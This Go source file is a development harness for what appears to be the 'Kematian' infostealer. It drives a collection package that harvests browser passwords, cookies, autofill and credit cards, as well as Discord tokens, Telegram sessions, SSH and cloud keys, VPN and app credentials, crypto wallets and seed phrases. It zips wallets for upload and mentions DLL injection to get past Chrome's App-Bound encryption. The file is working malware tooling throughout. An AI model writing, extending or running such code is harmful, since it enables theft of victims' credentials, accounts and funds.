// Command devtool is a standalone development harness for the Kematian // recovery pipeline. It emulates the plugin host + server by running the same // collection code as the c-shared plugin, then prints a summary (or, with // -verbose, the full event/result JSON) to the console. // // Usage examples: // // go run ./cmd/devtool # collect everything, summary // go run ./cmd/devtool -cookies -browser Brave # just Brave cookies // go run ./cmd/devtool -verbose # dump full JSON events // go run ./cmd/devtool -out result.json -no-inject // // It is not loaded as a plugin; it links the recovery package directly and is // meant to make local development and debugging easier. package main import ( "context" "encoding/base64" "encoding/json" "flag" "fmt" "log" "os" "sort" "strings" "time" recovery "recovery/recovery" ) const maxAutoDownloadSize = 50 * 1024 * 1024 // 50MB, matches plugin var verbose bool func main() { var ( outPath string timeoutSec int browser string noInject bool includeZip bool all bool passwords bool cookies bool autofill bool history bool bookmarks bool cards bool discord bool files bool wallets bool telegram bool keys bool apps bool gaming bool vpn bool extensions bool fingerprint bool fingerprintJS bool ) flag.StringVar(&outPath, "out", "", "write the full result JSON to this file") flag.IntVar(&timeoutSec, "timeout", 120, "collection timeout in seconds") flag.StringVar(&browser, "browser", "", "only show results for this browser (case-insensitive); scanning is not restricted") flag.BoolVar(&noInject, "no-inject", false, "skip DLL injection (direct file access only, no App-Bound/v20 keys)") flag.BoolVar(&verbose, "verbose", false, "print full event/result JSON (default: summary only)") flag.BoolVar(&includeZip, "content", false, "include base64 content in auto-download events") flag.BoolVar(&all, "all", false, "collect everything") flag.BoolVar(&passwords, "passwords", false, "collect passwords") flag.BoolVar(&cookies, "cookies", false, "collect cookies") flag.BoolVar(&autofill, "autofill", false, "collect autofill") flag.BoolVar(&history, "history", false, "collect history") flag.BoolVar(&bookmarks, "bookmarks", false, "collect bookmarks") flag.BoolVar(&cards, "cards", false, "collect credit cards") flag.BoolVar(&discord, "discord", false, "collect Discord tokens") flag.BoolVar(&files, "files", false, "scan files") flag.BoolVar(&wallets, "wallets", false, "scan wallets") flag.BoolVar(&telegram, "telegram", false, "scan Telegram sessions") flag.BoolVar(&keys, "keys", false, "scan SSH & cloud keys") flag.BoolVar(&apps, "apps", false, "scan app credentials") flag.BoolVar(&gaming, "gaming", false, "scan gaming platforms") flag.BoolVar(&vpn, "vpn", false, "scan VPN configs") flag.BoolVar(&extensions, "extensions", false, "scan browser extensions") flag.BoolVar(&fingerprint, "fingerprint", false, "collect the native browser fingerprint and exit") flag.BoolVar(&fingerprintJS, "fingerprint-js", false, "collect the JS (canvas/WebGL/audio) fingerprint and exit") flag.Parse() if noInject { os.Setenv("KEMATIAN_NO_INJECT", "1") } if fingerprint { fp := recovery.CollectFingerprint() data, _ := json.MarshalIndent(fp, "", " ") fmt.Println(string(data)) return } if fingerprintJS { fp := recovery.CollectJSFingerprint() if fp == nil { fmt.Println("{\"error\": \"failed to collect JS fingerprint\"}") return } data, _ := json.MarshalIndent(fp, "", " ") fmt.Println(string(data)) return } anyData := passwords || cookies || autofill || history || bookmarks || cards || discord || files || wallets || telegram || keys || apps || gaming || vpn || extensions opts := recovery.CollectOptions{ Browsers: all || !anyData || passwords || cookies || autofill || history || bookmarks || cards || extensions, Passwords: all || !anyData || passwords, Cookies: all || !anyData || cookies, Autofill: all || !anyData || autofill, History: all || !anyData || history, Bookmarks: all || !anyData || bookmarks, CreditCards: all || !anyData || cards, Discord: all || !anyData || discord, Files: all || !anyData || files, Wallets: all || !anyData || wallets, Telegram: all || !anyData || telegram, Keys: all || !anyData || keys, Apps: all || !anyData || apps, Gaming: all || !anyData || gaming, VPNs: all || !anyData || vpn, } log.Printf("devtool: timeout=%ds browser=%q noInject=%v verbose=%v", timeoutSec, browser, noInject, verbose) printEvent("status", map[string]string{"message": "Starting collection (devtool)..."}) var exts []recovery.ExtensionResult if opts.Browsers || extensions { exts = recovery.ScanExtensions() log.Printf("devtool: extension scan complete: %d extensions", len(exts)) } partialFn := func(partial *recovery.CollectionResult) { printEvent("partial", filter(partial, browser)) } ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeoutSec)*time.Second) defer cancel() start := time.Now() result, err := recovery.Collect(ctx, opts, partialFn) if err != nil { log.Printf("devtool: collection failed: %v", err) printEvent("error", map[string]string{"error": err.Error()}) os.Exit(1) } if opts.Browsers || extensions { result.Extensions = exts } printSummary(filter(result, browser)) printEvent("results", filter(result, browser)) if len(result.Wallets) > 0 { autoDownloadWallets(result.Wallets, includeZip) } seeds := recovery.ScanSeeds(result.Files, result.Passwords, result.Autofill) if len(seeds) > 0 { log.Printf("devtool: seed scan found %d seed phrases", len(seeds)) printEvent("seed_scan_results", map[string]interface{}{"seeds": seeds}) } if outPath != "" { if err := writeResult(outPath, filter(result, browser)); err != nil { log.Printf("devtool: failed to write output: %v", err) os.Exit(1) } log.Printf("devtool: wrote result to %s", outPath) } log.Printf("devtool: collection completed in %s", time.Since(start).Round(time.Millisecond)) } // printEvent emulates the server receiving an event + JSON payload. Only used // when -verbose is set. func printEvent(event string, payload interface{}) { if !verbose { return } data, err := json.MarshalIndent(payload, "", " ") if err != nil { log.Printf("devtool: marshal %s: %v", event, err) return } fmt.Printf("\n===== EVENT: %s =====\n%s\n", event, string(data)) } type browserCounts struct { cookies, passwords, autofill, history, bookmarks, cards, extensions int } func tally(r *recovery.CollectionResult) map[string]*browserCounts { m := map[string]*browserCounts{} get := func(b string) *browserCounts { if b == "" { b = "(unknown)" } c, ok := m[b] if !ok { c = &browserCounts{} m[b] = c } return c } for _, v := range r.Cookies { get(v.Browser).cookies++ } for _, v := range r.Passwords { get(v.Browser).passwords++ } for _, v := range r.Autofill { get(v.Browser).autofill++ } for _, v := range r.History { get(v.Browser).history++ } for _, v := range r.Bookmarks { get(v.Browser).bookmarks++ } for _, v := range r.CreditCards { get(v.Browser).cards++ } for _, v := range r.Extensions { get(v.Browser).extensions++ } return m } func printSummary(r *recovery.CollectionResult) { fmt.Printf("\n===== SUMMARY =====\n") byBrowser := tally(r) names := make([]string, 0, len(byBrowser)) for b := range byBrowser { names = append(names, b) } sort.Strings(names) fmt.Printf("%-14s %9s %9s %8s %7s %9s %5s %10s\n", "browser", "cookies", "passwords", "autofill", "history", "bookmarks", "cards", "extensions") for _, b := range names { c := byBrowser[b] fmt.Printf("%-14s %9d %9d %8d %7d %9d %5d %10d\n", b, c.cookies, c.passwords, c.autofill, c.history, c.bookmarks, c.cards, c.extensions) } fmt.Printf("\ndiscord tokens: %d\n", len(r.DiscordTokens)) fmt.Printf("files: %d\n", len(r.Files)) fmt.Printf("wallets: %d\n", len(r.Wallets)) fmt.Printf("telegram: %d\n", len(r.Telegram)) fmt.Printf("keys: %d\n", len(r.Keys)) fmt.Printf("apps: %d\n", len(r.AppCredentials)) if r.Gaming != nil { fmt.Printf("gaming: present\n") } if r.VPNs != nil { fmt.Printf("vpns: present\n") } if len(r.Errors) > 0 { fmt.Printf("\nerrors: %d\n", len(r.Errors)) for _, e := range r.Errors { fmt.Printf(" - %s\n", e) } } } func writeResult(path string, r *recovery.CollectionResult) error { data, err := json.MarshalIndent(r, "", " ") if err != nil { return err } return os.WriteFile(path, data, 0600) } func autoDownloadWallets(wallets []recovery.WalletResult, includeZip bool) { for _, w := range wallets { if w.Size > maxAutoDownloadSize { log.Printf("devtool: skipping auto-download for %q (%d bytes exceeds limit)", w.Name, w.Size) continue } data, err := recovery.ZipDirectory(w.Path) if err != nil { log.Printf("devtool: auto-download zip %q: %v", w.Name, err) continue } log.Printf("devtool: wallet %q (%s) zipped %d bytes", w.Name, w.Type, len(data)) if includeZip { printEvent("wallet_auto_data", map[string]interface{}{ "name": w.Name, "type": w.Type, "path": w.Path, "addresses": w.Addresses, "vaultData": w.VaultData, "size": len(data), "content": base64.StdEncoding.EncodeToString(data), }) } } } // filter returns a copy of r restricted to a single browser (case-insensitive) // when name is non-empty. Non-browser fields are dropped in that case so the // output stays focused on the browser under test. func filter(r *recovery.CollectionResult, name string) *recovery.CollectionResult { if name == "" { return r } match := func(b string) bool { return strings.EqualFold(b, name) } out := &recovery.CollectionResult{} for _, v := range r.Passwords { if match(v.Browser) { out.Passwords = append(out.Passwords, v) } } for _, v := range r.Cookies { if match(v.Browser) { out.Cookies = append(out.Cookies, v) } } for _, v := range r.Autofill { if match(v.Browser) { out.Autofill = append(out.Autofill, v) } } for _, v := range r.History { if match(v.Browser) { out.History = append(out.History, v) } } for _, v := range r.Bookmarks { if match(v.Browser) { out.Bookmarks = append(out.Bookmarks, v) } } for _, v := range r.CreditCards { if match(v.Browser) { out.CreditCards = append(out.CreditCards, v) } } for _, v := range r.Extensions { if match(v.Browser) { out.Extensions = append(out.Extensions, v) } } out.Errors = r.Errors return out }